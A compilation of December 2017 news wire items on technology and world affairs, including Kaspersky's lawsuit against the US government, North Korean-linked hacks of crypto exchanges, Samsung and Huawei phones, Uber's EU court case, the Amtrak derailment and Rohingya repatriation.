The 24-hour news network has got seven sponsors on board including Goldman Sachs, AT&T Business, CA Technologies, CME Group, INFINITI, SAS, and TD Ameritrade and will feature branded native content and unique integrations woven into the video programming, created by Bloomberg in partnership with each sponsor.

"Twitter is where people go for breaking news, and now our global audience can turn to TicToc by Bloomberg at any time to see what is happening in the world no matter where they are. Combining the journalistic integrity of Bloomberg with the speed and global availability of Twitter makes this a collaboration we are really excited about," Twitter chief operating officer Anthony Noto said.
Reuters

The French government has filed a complaint with the Paris Commerce Court against e-commerce company Amazon for abusing its dominant position with some suppliers, newspaper Le Parsien said on Monday.

Under the complaint, which follows a two-year investigation by the DGCCRF consumer fraud watchdog, the Economy Ministry is seeking a fine of 10 million euros ($11.8 million) against Amazon, the newspaper said.

The platform imposes unbalanced relations to its vendors, DGCCRF official Loic Tanguy told Le Parisien. Amazon can for instance unilaterally change contract terms or even suspend contracts it has with the more than 10,000 French companies using its platform to sell their goods, the newspaper said.

An Economy Ministry official confirmed a complaint had been filed against Amazon but did not provide further details. A spokesman for Amazon said the company does not comment on legal procedures.
tech2 News Staff

After quite a bit of speculation over the past few weeks, it has been confirmed according to a report that Chinese smartphone maker Huawei that it will launch it's flagship Mate 10 in the US.

Huawei's consumer business head Richard Yu announced that the sales, starting with the Mate 10, would be carried out through major mobile carriers in the US. However, he gave no details on the pricing of the devices, according to a report by ABCNews.

"We will sell our flagship phone, our product, in the US market through carriers next year," said Yu in an interview with ABCNews. "I think that we can bring value to the carriers and to consumers. Better product, better innovation, better user experience."

This move comes after Huawei cemented its position as one of the largest smartphone brands in China, beating the likes of Samsung and Apple. If Huawei were to gain a firm foothold in the US market, it would prove to be a quite a threat to Apple, for which the US is the biggest market. According to the report, Richard Yu will be announcing more details at the upcoming CES 2018 event in Las Vegas next month.

Huawei Mate 10 comes with 5.9-inch 3D 2K Huawei FullView LCD display panel with 2560x1440 resolution, 499 PPI pixel density and 16:9 ratio. The phone packs in the HiSilicon Kirin 970 SoC , 4 GB of RAM and 64 GB of internal storage. The device packs 20 MP Monochrome and 12 MP sensors with BSI CMOS setup and f/1.6 aperture.
A Chinese envoy has called for unity of the United Nations Security Council (UNSC) and the international community at large over the issue of Jerusalem and for common effort toward peace in the Middle East.

Wu Haitao, charge d'affaires of China's permanent mission to the United Nations, votes for a draft resolution on the status of Jerusalem in the United Nations Security Council on Monday, December 18, 2017. [Photo: VCG]

After a vote in the UNSC on a draft resolution on the status of Jerusalem on Monday, Wu Haitao, charge d'affaires of China's permanent mission to the United Nations, said the issue of Palestine is at the core of Middle East peace and a root-cause issue.

The issue of Jerusalem is particularly complicated and sensitive, and involves the basis for finding a solution to the Palestinian issue, he told the Security Council.

A series of Security Council resolutions, including Resolution 2334, made stipulations on the issue of Jerusalem. The draft resolution put to a vote on Monday was in line with previous Security Council resolutions and is a continuation of the contents and spirit of past resolutions, said Wu, explaining China's "yes" vote on the draft resolution.

The Egyptian-drafted text won the support of 14 members of the Security Council, but was vetoed by the United States.

Wu called on the Security Council and the international community at large to remain united in an effort to de-escalate tensions concerning the status of Jerusalem for the sake of stability in the region and the Middle East peace process.

China has consistently supported and pushed forward the Middle East peace process, he said.

"We support the just cause of restoring the legitimate national rights of the Palestinian people, support the establishment of a fully sovereign, independent State of Palestine based on the 1967 borders with East Jerusalem as its capital. Such a position of China will not change."

China will continue to push for a political settlement of the Jerusalem issue on the basis of a two-state solution, following the guidance of Chinese President Xi Jinping's four-point proposal put forward in July, said Wu.

He called on the international community to adhere to relevant Security Council resolutions and strengthen their efforts for the resumption of negotiations in order to find a solution to key issues, including the final status of Jerusalem.
Reuters

Moscow-based anti-virus company Kaspersky Lab sued the Trump administration in U.S. federal court on Monday, arguing that the American government has deprived it of due process rights by banning its software from U.S. government agencies.

The lawsuit is the latest effort by Kaspersky Lab to push back on allegations that the company is vulnerable to Kremlin influence.

The Department of Homeland Security in September issued a directive to U.S. civilian agencies ordering them to remove Kaspersky Lab from their computer networks within 90 days. The order came amid mounting concern among U.S. officials that the software could enable Russian espionage and threaten national security.

The ban was codified last week when President Donald Trump signed legislation banning Kasperky Lab from use across civilian and military agencies. Kaspersky Lab has repeatedly denied it has ties to any government and said it would not help a government with cyber espionage.

DHS has harmed Kaspersky Labs reputation and its commercial operations without any evidence of wrongdoing by the company, the companys founder, Eugene Kaspersky, said in an open letter to the agency published on Monday.

In an attempt to address suspicions, the company said in October it would submit the source code of its software and future updates for inspection by independent parties. U.S. officials have said that step, while welcome, would not be sufficient.

The Department of Homeland Security did not immediately respond to a request for comment. The lawsuit was filed in the U.S. District Court for the District of Columbia.
IANS

To strengthen its offline retail presence across India, Motorola India on 19 December opened its first "Moto Hub" in Chennai in partnership with the multi-brand retail chain Poorvika Mobiles.

This is the first "Moto Hub" to be launched under the collaboration that will let prospective buyers to experience the latest Motorola technology. They will also get a hands-on demo of the entire product portfolio.

"Poorvika Mobiles' in-depth understanding of the local market and its substantial reach will be instrumental in consolidating Motorola's retail presence," Sudhin Mathur, Managing Director, Motorola Mobility India, said in a statement.

The Lenovo-owned brand is planning to open "Moto Hubs" in 250 Poorvika Stores across 43 cities in Tamil Nadu, Pondicherry and Karnataka.

Earlier this month, Motorola announced the first-ever experiential store in south India.

The company currently has six "Moto Hubs" (without the partnership) in Delhi-NCR and Mumbai and opened three such stores in Kolkata last month.
IANS

Motorola Mobility India on 19 December welcomed the government's decision to hike customs duty from 10 percent to 15 percent on mobile handsets.

"We welcome the government's decision as it will provide further impetus to the 'Make in India' initiative," Sudhin Mathur, Managing Director, Motorola Mobility India, told IANS.

Motorola, a Lenovo brand, makes and assembles smartphones at its manufacturing unit in Sriperumbudur near Chennai through global contract manufacturing partner Flextronics.

"As a brand, Motorola's journey of 'Make in India' began three years ago and we are well on our way to being fully locally manufactured," Mathur added.

With a combined market share at 9 percent, Lenovo-Motorola became the third top smartphone brand in India in the third quarter this year, according to IDC.

With the competition shifting to the retail market, Motorola has realigned its focus on opening "Moto Hubs" in the country.

Motorola Mobility is planning to open "Moto Hubs" in 250 Poorvika Stores across 43 cities in Tamil Nadu, Pondicherry and Karnataka.

The company currently has six "Moto Hubs" (without the partnership) in Delhi-NCR and Mumbai and opened three such stores in Kolkata. Motorola has also announced the first-ever experiential store in south India.

"This move [on import duty] by the government will lead to more job creation and further enhance the manufacturing sector," Mathur told IANS.
tech2 News Staff

OpinionLab is a Verint business that allows businesses to improve customer experiences by integrating feedback forms in applications and websites. The company has more than ten years experience in providing services that helps companies improve customer experiences. We spoke to Mr Anil Chawla, Managing Director, Customer Engagement Solutions, Verint Systems to understand more about how direct feedback from the consumers can help businesses.

Chawla provided an example of how a digital feedback mechanism helped a business, in this case, Expedia, quickly address a problem their service, "Digital customer feedback refers to the feedback gathered from consumers via a digital touchpoint such as a desktop website, a mobile website or a mobile application. Digital customer feedback enabled Expedias (global) customers to alert Expedia to a significant pricing error on their website with the context necessary to quickly correct the error. Without a proactive customer alert Expedia may have missed the error for days, weeks or months which could have resulted in significant business impact estimated at millions USD in revenue per month."

The form collects the comments from the end user, but at the same time, it also collects other background information needed to quickly respond to the issue. Chawla explains, "A 'feedback tab' is implemented pervasively across a companys digital touchpoints. When a consumer wants to provide feedback from within their digital experience, they can simply click on the feedback tab and are provided the opportunity to provide feedback via a simple 'dynamic comment card'. The comment card collects a verbatim comment, a variety of structured feedback data such as net promoter score (NPS) sand comprehensive 'behind the scenes' technical context (eg, web browser, mobile device type) that makes the consumers feedback actionable. Feedback is routed for action based on key word triggers and other identifiers."

The collected feedback is delivered on an individual basis to the appropriate teams in the company that can respond to the issue at hand. At the same time, a number of responses within feedback forms can be automatically churned into reports or presented in a visual manner. There are also alerts available for individual comments. Chawla elaborates on what typically goes on behind the scenes, once the customer provides the feedback, "The receivers of the feedback are defined by the digital user. Typically, key stakeholders included digital marketing teams, operational teams, CX leaders, product managers, store operations teams etc. Feedback can be sent on an individual comment basis via alerts, or summarized in a variety of reports and data visualizations via the OpinionLab portal. The most successful customers of OpinionLab get feedback quickly to individuals best suited to act on it and close the loop with consumers."

The feedback mechanism gives freedom for the businesses to respond as quickly as they want. As part of the solution, the customer can be handed over to a representative of the business on a chat interface. According to Chawla, "Feedback can be delivered in near real-time (eg minutes from submission). It is up to the brand to define how quickly they respond to a given consumer. Some brands have integrated digital feedback with click-to-chat or knowledge management to offer immediate solutions to issues based on specific keywords included in the submitted feedback (eg, cant buy results in a real-time offer for an assisted sale via click-to-chat)."

Such realtime or near realtime digital feedback mechanisms are something that customers expect, especially from digital services that require financial transactions, or rapid responses to problems. For a number of digital services, a reliable and accessible support service is a requisite. Chawla explains, "Consumers for complex enterprises that rely heavily on secure digital channel transactions such as financial services, travel, retail and telecommunications need immediate visibility to issues and opportunities from within the onset of their digital journey. App users expect the enterprises to contextually resolve these issues.Users wants real time support while on boarding a new digital service, something which is as seamless as walking into a store. Digital Customer Feedback enables a brand to respond in a personalized manner to individual consumers with the context to take action on their feedback. For example, if a consumer is logged in to their online account, the capability can automatically include their account and contact information with any feedback that is submitted by that consumer, so the resulting response is informed and personalised."

A problem with digital services is that consumers tend to hop quickly from one service to another, or use a certain service only once, according to their requirements. An integrated and sophisticated feedback solution can help retain consumers. Chawla said, "Digital Customer Feedback has the ability to empower brands to respond in real-time with solutions to digital customers has a direct and indirect correlation to improved customer loyalty and advocacy. If you listen to consumers and 'close the loop' with them to let you know they listened, they will be more loyal than if you dont listen or never respond. Most customer journeys in the complex enterprise include a digital component."
Reuters

A series of recent cyberattacks has netted North Korean hackers millions of dollars in virtual currencies like bitcoin, with more attacks expected as international sanctions drive the country to seek new sources of cash, researchers say.

North Koreas government-backed hackers have been blamed for a rising number of cyberattacks, including the so-called WannaCry cyberattack that crippled hospitals, banks and other companies across the globe this year.

Analysts say the explosive growth in the value of bitcoin makes it and other cryptocurrencies an attractive target for North Korea, which has become increasingly isolated under international sanctions imposed over its nuclear weapons and missile programmes.

Bitcoin was trading at over $19,104 per bitcoin at one point on 19 December, up from less than $1,000 at the beginning of 2017, according to Coinmarketcap.com.

Researchers in South Korea, which hosts some of the worlds busiest virtual currency exchanges and accounts for 15 to 25 percent of world bitcoin trading on any given day, say attacks this year on exchanges like Bithumb, Coinis, and Youbit have the digital fingerprints of hackers from North Korea.

The researchers findings have not been independently verified.

North Korea has rejected accusations that it has been involved in hacking.

A spokesman for South Koreas Unification Ministry, which handles North Korean affairs, said on 18 December that the government was considering countermeasures, including more sanctions, over the cyberattacks.

Representatives of Bithumb and Coinis declined to comment.

On 18 December, a Youbit spokeswoman told Reuters the company had not been targeted by North Korean hackers, and on 19 December the company announced it had suffered another cyberattack that cost it 17 percent of its assets, forcing the exchange to halt operations and file for bankruptcy.

The hackers behind the second attack were not identified, but one cybersecurity researcher, who said he was not authorised to speak about the matter as it was being investigated, said there were similarities between the Youbit hack reported on 19 December and the earlier attack on the company, which has been linked to North Korea.

Another researcher, who worked with Youbit after the first hack in April, said the company has since experienced a consistent string of attacks that used malicious code previously used by North Korea.

Infected email

South Koreas intelligence service reported that some 7.6 billion won ($7 million) worth of cryptocurrencies were stolen in those previous attacks on multiple exchanges, according to South Koreas Chosun Ilbo newspaper.

But that amount could now be worth about 90 billion Korean won ($82 million), Moonbeom Park, a researcher at the Korea Internet and Security Agency, told Reuters.

Malicious code used in attacks over the summer was virtually identical to previous attacks connected to North Korea, he said.

The attacks this year began by targeting the companies themselves, stealing customers personal information, including names and email addresses, Park said.

Some of those customers were then targeted with so-called spearphishing emails, infected emails designed to look as if they were from South Koreas taxation agency, the Korean National Tax Service, he said.

Other researchers said the attackers had impersonated other official bodies.

The emails told the recipient that the agency was about to conduct a tax investigation of the user.

An attached document, however, was a Korean-language file infected with a Trojan Horse programme that would exploit a vulnerability in the Hanword Korean-language word processing software to allow the hackers to remotely control the users computer, Park said.

From there, the attackers would access the users bitcoin wallet either on the computer or on the bitcoin exchanges server, he said. Other researchers said the exchanges were also attacked using fake email accounts.

Cristiana Brafman Kittner, principal analyst at the cybersecurity firm FireEye, said she could not confirm whether North Korea had actually stolen any virtual currencies, but said hackers linked to it had targeted multiple exchanges over the past six to nine months.

We believe that some of the criminal activity we are observing originating from North Korea is a result of the regime looking for alternative sources of revenue, she said.

North Korean cyberthreat actors present an immediate risk to the financial services sector worldwide.
tech2 News Staff

Samsung, on 19 December, launched two new mid-range smartphones called Galaxy A8 and Galaxy A8 Plus. The devices could be priced at around 499 and 599 euros respectively. All though it does not seem apparent at first, the devices are the successors of the Galaxy A5 (2017) and A7 (2017) according to a GSMArena report.

The Galaxy A8 and A8 Plus are the first Samsung devices, apart from the S8 and Note 8, to feature the trademark Infinity Display, which includes the 18.5:9 aspect ratio and curved glass. However, the Galaxy A8 and Galaxy A8 Plus display resolution is 1080p as opposed to 2K on the S8 and Note 8. Both the devices will support Samsung Galaxy VR and are also IP68 certified water and dust resistant.

With the release of the Galaxy A8 (2018) and A8+ (2018), were bringing our customers favorite features from our flagship smartphones, such as the Infinity Display and our first Dual Front Camera with Live Focus, to our Galaxy A series, which is already known for its premium design, said Junho Park, vice president of Global Product Planning, Mobile Communications Business at Samsung Electronics.

Under the hood, both the phones pack in an octa-core processor sporting chipset alongside 4 GB RAM and 32/64 GB storage for the Galaxy A8 and 4/6 GB RAM and 32/64 GB storage for the Galaxy A8 Plus. The storage on both the devices can be extended to 256 GB via a microSD card. In terms of software, both the devices will run on Android 7.1.1 (Nougat).

In the camera department, both the devices have a 16 MP rear camera with PDAF and f/1.7 aperture. In the front, there is a dual-camera system which houses a 16 MP sensor with f/1.9 aperture alongside an 8 MP sensor with f/1.9 aperture. The Live Focus feature lets you adjust the background blur on selfies to create bokeh effect.

As for connectivity options, the phone offers Wi-Fi 802.11 a/b/g/n/ac, LTE connectivity, NFC (supports Samsung Pay as well), Bluetooth 5.0, USB Type-C and GPS. The entire setup is powered by a 3,000 mAh battery in the Galaxy A8 and 3,500 mAh battery in the Galaxy A8 Plus while both devices support Fast Charging.

There is currently no information on when or whether the devices will hit the Indian markets. More details will most probably be revealed at the CES 2018 in Las Vegas.
tech2 News Staff

As we approach the possible release of the Samsung Galaxy S9, rumours keep piling up about the devices possible design. The latest of them is an alleged computer-aided design (CAD) rendering of the S9 and S9 Plus which show narrower bezels than the one seen on the Galaxy S8, which is saying something since the S8 had nearly an 84 percent screen-to-body ratio according to our review.

The design of the render is similar to the curved infinity display seen on the Galaxy S8, however, one cannot fail to notice the six cutouts in the top bezel. There are quite a few possibilities for this, the most obvious being a dual-front camera plus a front flash setup. There might also be apparatus for a better retinal scan system which Samsung is rumoured to be working on. However, nothing can be confirmed at this point.

The presence of the bottom chin in this render has, however, ruled out the possibility that the Samsung is planning to do away with it. Another source has claimed that the Galaxy S9 will apparently have a bigger 3,200 mAh battery as compared to the 3,000 mAh seen on the S8.

The Galaxy S9 and S9 Plus phones will make their debut this February, most likely at MWC 2018 (Mobile World Congress) in Barcelona, Spain according to reports.

Various leaks do suggest that the new phones will come with a single-camera setup at the rear, as opposed to the dual-camera one seen on the Galaxy Note 8. It's possible that the upcoming phones will use Qualcomm's and Google's single-camera portrait mode support to deliver a better quality single camera experience.
Reuters

A debate in Europe over whether ride-hailing app Uber is merely a digital company or one providing transport services will be decided when the top European Union court hands down its verdict on Wednesday in a highly anticipated case.

While a ruling that Uber is a transport company is unlikely immediately to change the way it operates, it will give local authorities in the EU a green light to regulate the US start-up more like a traditional taxi company, with obligations ranging from licensing to insurance.

Uber - which has clashed with local and national regulators in Europe since its launch there six years ago - says it is simply a digital app which acts as an intermediary between drivers and customers looking for a ride.

Judges at the Luxembourg-based court will decide on Wednesday whether Uber - the worlds second most valuable private venture-backed company - provides transport services, online services or a combination of both.

EU law protects online services from undue restrictions and national governments must notify the European Commission of any measures regulating them so it can ensure they are not discriminatory or disproportionate.

Transport services, on the other hand, are regulated at the national and local level and there is no prior EU oversight of new rules.

Any ruling will not change things in most EU countries where we already operate under transportation law, a spokeswoman for Uber said.

As our new CEO (Dara Khosrowshahi) has said, it is appropriate to regulate services such as Uber. We want to partner with cities to ensure everyone can get a reliable ride at the tap of a button.

In May, an adviser to the Court of Justice of the European Union (ECJ) said Uber should be considered a transport provider on the grounds it does much more than link supply and demand. Although his opinion is non-binding, the judges usually follow such advice.

The case stems from a complaint of unfair competition brought by a Barcelona taxi association against Ubers unlicensed ride-hailing service, UberPOP, which used amateur drivers to pick up riders and has since been suspended in most European cities.

CHANGE OF FOCUS

Following protests from taxi drivers and multiple court fights, Uber has drastically cut back its use of unlicensed drivers in the EU and focused instead on its licensed services, such as UberX and UberBLACK.

Uber has suffered a torrid last few months. In September, London stripped it of its operating licence - a decision Uber is appealing against.

It lost a bid last month to overturn a British tribunals finding that its drivers deserved workers rights such as the minimum wage. Soon afterwards, it disclosed it paid hackers $100,000 to keep secret a massive breach last year that exposed personal data from around 57 million accounts.

Khosrowshahi, who took the helm at Uber in August after the departure of founder Travis Kalanick following a slew of scandals, has taken a much more conciliatory approach with local authorities.

The company has for example paused its services in Finland and Norway so that it can re-launch under new transport regulations.

It now only operates unlicensed services in Poland, the Czech Republic, Slovakia and Romania, although in the first two Uber is switching its drivers to operate under local transportation law.

The Computer & Communications Industry Association (CCIA), of which Uber is a member, said the ruling will decide over the ability of the EU to ensure online services are not unduly restricted by member states.

The judgment will either promote the digital single market or lead to more market fragmentation for online innovators, said Jakob Kucharczyk, vice president for competition and EU regulatory policy at the lobby group.
Dupont: An Amtrak train making the first-ever run along a faster new route hurtled off an overpass south of Seattle and spilled some of its cars onto the highway below, killing at least six people, authorities said.

The death toll was expected to rise.

Seventy-eight passengers and five crew members were aboard when the train moving at more than 80 mph derailed on a route that had raised safety concerns. At least 50 people were hospitalised, more than a dozen with critical or serious injuries, authorities said.

An official briefed on the investigation told The Associated Press that preliminary signs indicate that Train 501 may have struck something before going off the track about 64 kilometers south of Seattle. The official was not authorized to discuss the investigation publicly and spoke on the condition of anonymity.

A local official had raised concerns about the safety of the new bypass as recently as two weeks ago at a public meeting.

The Pierce County Sheriff's Office said several vehicles on Interstate 5 were struck by falling train cars and multiple motorists were injured. No fatalities of motorists were reported.

In a radio transmission immediately after the accident, the train's conductor can be heard saying the train was coming around a corner and was crossing a bridge that passed over Interstate 5 when it derailed.

"I'm still figuring that out. We've got cars everywhere and down onto the highway," he tells the dispatcher, who asks if everyone is OK.

Chris Karnes was on the train, three or four cars back from the front. He said the only part of the train remaining on the tracks was the rear locomotive. Several cars were hanging over the overpass. Daniel Konzelman, 24, was driving parallel to the train on his way to work as an accountant in Olympia. He was about 30 seconds ahead of the train on the freeway when he saw it derail.

Konzelman, who was driving with a friend, said he pulled off the freeway and then ran down along the tracks and over the bridge to get to the scene. They saw three cars and a semi-truck on the freeway that had been damaged by the derailment. There were train cars with their roofs ripped off, or that were tipped upside down, on both sides of the track or turned sideways on the bridge.

They climbed into train cars and found people hurt some pinned underneath the train, others who appeared to be dead, he said. If they were mobile and seemed stable, he helped them climb out. If they appeared seriously hurt, he tried to comfort them by talking to them.

"I just wanted to help people because I would want people to help me," he said. "I'm an Eagle Scout. I have a lot of first-aid training and emergency response training."

They stayed for nearly two hours before hitting the road again.

"I prepared for the worst and hoped for the best. I saw a little bit of both," he said.

President Donald Trump used the deadly derailment to call for more infrastructure spending in a tweet sent about three hours after the accident. He said the wreck, on a newly completed bypass, shows "more than ever why our soon to be submitted infrastructure plan must be approved quickly."

The train accident that just occurred in DuPont, WA shows more than ever why our soon to be submitted infrastructure plan must be approved quickly. Seven trillion dollars spent in the Middle East while our roads, bridges, tunnels, railways (and more) crumble! Not for long!  Donald J. Trump (@realDonaldTrump) December 18, 2017

Our deepest sympathies and most heartfelt prayers are with the victims of the train derailment in Washington State. We are closely monitoring the situation and coordinating with local authorities... pic.twitter.com/Gyf5BdVm4G  Donald J. Trump (@realDonaldTrump) December 18, 2017

The train was making the inaugural run on the new route as part of a $180.7 million project designed to speed up service by removing passenger trains from a route along Puget Sound that's bogged down by curves, single-track tunnels and freight traffic.

The Amtrak Cascades train service is jointly owned by the Washington State Department of Transportation and the Oregon Department of Transportation. Amtrak operates the service for the two states as a contractor and is responsible for day-to-day operations. Amtrak Cascades runs trains from Vancouver, British Columbia, to Eugene, Oregon.

The Amtrak schedule called for the train to leave Seattle around 6 AM and arrive in Portland about 3 1/2 hours later.
Dhaka: Bangladesh and Myanmar on Tuesday formed a 30-member joint panel to oversee repatriation of Rohingya refugees within two months, despite rights groups warning that their safety is not assured in the Buddhist majority country.

"Now, we will start the next step of our work," Bangladesh foreign minister AH Mahmood Ali told reporters.

In a statement, Bangladesh foreign office said that the working group will develop physical arrangements for the refugees' return, including mechanisms for verification, time schedule, transport and logistical arrangements, reception procedures and communication.

It said the working group would "ensure commencement of repatriation within two months".

The joint working group "shall involve assistance of the UNHCR and other mandated UN agencies and interested international partners in various stages of repatriation".

It would comprise equal number of representatives from each side to undertake "all necessary measures to start the safe and voluntary return, resettlement and reintegration process of displaced Myanmar residents".

The joint panel was formed in line with the 23 November memorandum of understanding signed by Myanmar with Bangladesh to take back hundreds of thousands of Rohingyas who fled their homeland to escape a military crackdown.

The development came a day after UN human rights body chief Zeid Ra'ad al-Hussein said he would not be surprised if a court one day ruled that acts of genocide had been committed against the Rohingya Muslim minority.

"The elements suggest you cannot rule out the possibility that acts of genocide have been committed," Zeid told BBC, describing the attacks on Rohingyas to be "well thought out and planned".

Meanwhile, US-based Human Rights Watch on Tuesday termed the 23 November agreement as a mere "public relations stunt", saying Myanmar Army burned dozens of buildings within days of signing the repatriation deal with Bangladesh.

The rights group, citing analysis of satellite imagery, said buildings in 40 villages were destroyed in October and November, increasing the total to 354 villages that had been partially or completely razed since last August.

Over 655,000 Rohingyas fled across the border to Bangladesh since the crackdown began on 25 August, bringing horrific accounts of rape, extrajudicial killing and arson.

"Myanmar is playing the most cynical of games, with Aung San Suu Kyi and her team signing a refugee repatriation deal that contains no real guarantees of protection to returnees, while on the ground the security forces continue their campaign of torching the villages the Rohingya want to return to," the HRW statement said.
China and Italy Tuesday agreed to boost cooperation within the framework of the Belt and Road Initiative.

National flags of China and Italy [File Photo: VCG]

The consensus was reached during talks between Chinese State Councilor Yang Jiechi and Italian Foreign Minister Angelino Alfano who is on an official visit to China.

Briefing Alfano on the 19th National Congress of the Communist Party of China (CPC), Yang hailed the traditional friendship between the two countries and good development momentum of bilateral ties.

Yang called on the two sides to maintain high level exchanges and contact between various departments, deepen pragmatic cooperation on the Belt and Road Initiative, and push forward people-to-people exchanges for higher level China-Italy and China-Europe comprehensive strategic partnerships.

Expressing his congratulations on the success of the 19th National Congress of the CPC, Alfano said his country places great importance on developing ties with China.

Italy will play an active role in the construction of the Belt and Road to intensify bilateral ties, the Italian foreign minister stressed.
London: British counter-terror officers arrested four persons on suspicion of plotting terror attacks in the UK, officials said.

Three of them, aged 22, 36 and 41, were arrested from Sheffield and the fourth man, aged 31, from Chesterfield by counter-terrorism officers in an operation led by the North East counter-terrorism unit.

"The arrests were intelligence-led and pre-planned as part of an ongoing investigation by Counter Terrorism Policing North East," a West Yorkshire Police spokesperson said.

"We recognise that local people may have concerns as a result of this activity. We would ask people to remain alert but not alarmed and we are grateful for the assistance and understanding of people locally," he said.

All four men have been detained on suspicion of being concerned in the commission, preparation or instigation of acts of terrorism under the UK's Terrorism Act 2000.

The men were being questioned at a police station in West Yorkshire while property searches where they were arrested continue.

People reported the sound of an explosion as police raided an address in Meersbrook, Sheffield. "The public may have heard a loud bang at the time as police entered one of the properties, but it was not an explosion.

They (officers) would like to reassure them that it was part of the method to gain entry to the property," the police spokesperson added.
From the inauguration of US president Donald Trump, to record hurricanes, here are the 12 key events which marked 2017:

A year of Trump

On 20 January, Republican billionaire Donald Trump, 70, is inaugurated as the 45th US president, vowing to follow a policy based on "America first". Suspicions of collusion between his election campaign and Russia, however, dog the start of his term.

Through early morning tweets, Trump unpicks the achievements of his Democrat predecessor, Barack Obama. He pulls out of several international agreements: on climate, free trade, immigration and UNESCO.

On 6 December, in another break with his predecessors, Trump creates shockwaves around the world when he recognises Jerusalem as Israel's capital.

Brexit negotiations

On 29 March, London launches the process to leave the European Union, nine months after British voters opted to leave in a referendum.

On 8 June Britain votes in a snap general election called by Prime Minister Theresa May in a bid to increase her slender parliamentary majority. But her Conservatives instead suffer a major setback and lose their majority.

After months of negotiations, on 8 December, Brussels and London reach a deal on Brexit divorce terms, opening the way to talks on their future relationship.

France: political earthquake

On 7 May, pro-EU centrist Emmanuel Macron, 39, wins a resounding victory over far-right rival Marine Le Pen in France's presidential election.

His new En Marche movement drives the two biggest parties  the Socialists and Republicans  out of the Elysee Palace for the first time.

West Asia: boiling point

On 5 June, Saudi Arabia and its allies sever diplomatic ties with Qatar.

In the biggest diplomatic crisis to hit the region in years, they accuse Doha of supporting "terrorists" and of being too close to Iran, Saudi Arabia's regional rival.

Then, on 4 November, Lebanese prime minister Saad Hariri announces from Saudi Arabia that he is resigning  before later doing a u-turn  citing Iran's "grip" on Lebanon.

In Yemen, Huthi rebels are also accused by Riyadh of receiving support from Iran and Lebanon's Hezbollah.

Venezuela: economic disaster

On 30 July, Venezuela's Constituent Assembly  whose legitimacy is disputed by the opposition and abroad  is elected after four months of protests against socialist President Nicolas Maduro.

Enjoying wide-ranging powers, in early August it dismisses Attorney General Luisa Ortega, who has become one of Maduro's top critics. Then it takes over the opposition-dominated congress.

The country, devastated by plummeting oil prices, is considered as being in "selective default" by ratings agencies.

North Korea: escalation

On 3 September, North Korea, which has upped its missile strikes, conducts its sixth and largest nuclear test.

On 29 November North Korean leader Kim Jong-Un says that his reclusive country has completed its "state nuclear force" with the test of a long-range missile able to deliver a nuclear warhead anywhere in the United States.

Washington threatens to "utterly destroy" the regime "if war comes".

Myanmar's Rohingyas: 'genocide'

On 25 August, the military in Buddhist-majority Myanmar launches a crackdown on Rohingyas in the westernmost state Rakhine after militants from the stateless Muslim minority ambush security forces there.

Nearly 6,50,000 Rohingyas find refuge in Bangladesh.

The UN and US denounce "ethnic cleansing", while the UN rights chief Zeid Ra'ad Al Hussein speaks of "elements of genocide".

Catalonia: autonomy suspended

On 1 October, an independence referendum is held in Spain's wealthy northeastern Catalonia region. The poll is deemed illegal by the central government.

Madrid moves to assert control but Catalan lawmakers vote on 27 October to declare independence from Spain.

Madrid reacts by calling new regional elections, while dismissing Catalonia's government and suspending the region's autonomy. Deposed regional president Carles Puigdemont, who has been charged with sedition and rebellion, takes refuge in Belgium.

The Weinstein scandal

On 5 October, the New York Times publishes a bombshell investigative report accusing Hollywood mogul Harvey Weinstein, 65, of sexual harassment over several decades.

Allegations of sexual misconduct have since been levelled at a long list of personalities in film, television, journalism and politics around the world.

Zimbabwe: Mugabe falls

On 21 November, Zimbabwe's veteran President Robert Mugabe, 93, resigns following a 37-year rule, after being abandoned by the military and his own party.

He is driven out following a military takeover, over his sacking of Emmerson Mnangagwa as vice-president, who goes on to succeed him.

Islamic State defeated, not wiped out

Iraq on 9 December declares victory in its war to expel the Islamic State, but experts warn that jihadists remain a threat. In Syria the group has also lost most of the territory it had conquered.

Around the world numerous deadly attacks, from Britain to Egypt, have been claimed or blamed on the group this year.

Climate: record disasters

The year, marked by Trump's decision on June 1 to leave the landmark 2015 Paris climate accord, sees a series of natural disasters, including record-breaking hurricanes, earthquakes and devastating fires.

The year is set to be one of the three warmest years ever recorded.
Tehran: Iran's President Hassan Rouhani on Tuesday called on people to speak out to defend their rights, as he took aim at the country's powerful security apparatus.

"The people are right, not the government," the moderate cleric said, in a speech marking one year since he launched an Iranian bill of rights.

"We must work to make the rights of citizens a culture," Rouhani said, urging the youth and social media users to air their grievances if rights are not "implemented".

Rouhani's landmark bill of rights is meant to guarantee freedom of speech, protest, fair trials and privacy.

But reformist media have been critical of him for failing to deliver greater social freedoms.

Many institutions in the Islamic republic, including the judiciary and the Revolutionary Guards, remain firmly in the grip of hardliners and do not answer to the president.

Turning his sights on the security establishment, he called on them to "reduce interference" in people's lives and "let them mind their business".

"People want the government to leave them alone," he said.

Rouhani  elected for a second term in May on the back of support from younger voters  has opposed tough controls on the internet that see websites like Twitter and Facebook blocked.

He himself has recently faced public criticism over the national budget for next year that he presented to parliament last week.

But he insisted he welcomed the sniping and called for greater transparency.

Appealing to his base, he also blasted intrusive background checks on students by security officials and a practice that has seen some banned from continuing their studies.
New Delhi: India on Tuesday appreciated the strategic importance given by the US to bilateral ties in its new National Security Strategy and said that the two countries share common objectives, including combating terrorism.

Ministry of External Affairs spokesperson Raveesh Kumar said a close partnership between India and the US contributes to peace, stability and prosperity in the Indo-Pacific region as well as to the economic progress of the two countries.

"We appreciate the strategic importance given to India-US relationship in the new National Security Strategy released by the US. As two responsible democracies, India and the US share common objectives, including combating terrorism and promoting peace and security throughout the world," he said.

Describing India as a "leading global power" in its newly unveiled National Security Strategy, the Trump administration has said it will deepen US' strategic partnership with India and support its leadership role in maintaining security in the Indo-Pacific region.

The 68-page document also said the US will seek to increase quadrilateral cooperation with Japan, Australia and India.
Islamabad: Pakistan on Monday accused the US of "speaking India's language", and said the two nations have "the same ideas" regarding the Jammu and Kashmir conflict.

National Security Advisor of Pakistan Lieutenant General Nasser Khan Janjua (Retd) said here that "the US is willing to give India a bigger role in Afghanistan while blaming Pakistan for its own failure in the region."

"India was given clear preference over Pakistan by the US," Janjua said, even though India "continuously threatens" conventional war with Pakistan, Dawn quoted the NSA as saying.

"The US accuses Pakistan of having ties with the Haqqani network and the Taliban when, in actuality, Pakistan only started facing terrorism when it aligned its forces with the US," Janjua said, adding that Pakistan had paid a heavy price in its fight against terrorism but the world never recognised its losses.

Janjua also claimed that the US has also opposed the China-Pakistan Economic Corridor.

